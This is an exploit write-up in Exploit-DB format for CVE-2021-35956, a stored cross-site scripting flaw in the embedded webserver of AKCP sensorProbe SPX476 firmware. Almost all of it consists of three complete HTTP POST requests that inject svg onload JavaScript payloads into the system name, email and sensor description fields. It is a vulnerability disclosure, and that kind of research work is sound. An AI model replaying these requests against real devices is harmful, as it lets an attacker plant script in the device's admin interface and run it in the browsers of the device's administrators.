AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)

# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)
# Date: 07-01-2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www.akcp.com/
# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/
# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956
# Version: < SP480-20210624
# CVE: CVE-2021-35956

# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.


1) Stored Cross-Site Scripting via System Settings  

POST /system?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 114
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/system?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

_SA01=System+Namer&_SA02=RDC&_SA03=Name<svg/onload=alert`xss`>&_SA04=1&_SA06=0&_SA36=0&_SA37=0&sbt1=Save

2) Stored Cross-Site Scripting via Email Settings  

POST /mail?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/mail?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


_PS03=test@test.com&_PS04=test@test.com&_PS05_0=test@test.com&_PS05_1=test@test.comr&_PS05_3=<svg/onload=alert`xxss`>&_PS05_4=&sbt2=Save

3) Stored Cross-Site Scripting via Sensor Description

POST /senswatr?index=0&time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/senswatr?index=0&time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CPCookie=sensors=400
Connection: close

_WT00-IX="><svg/onload=alert`xss`>&_WT03-IX=2&sbt1=Save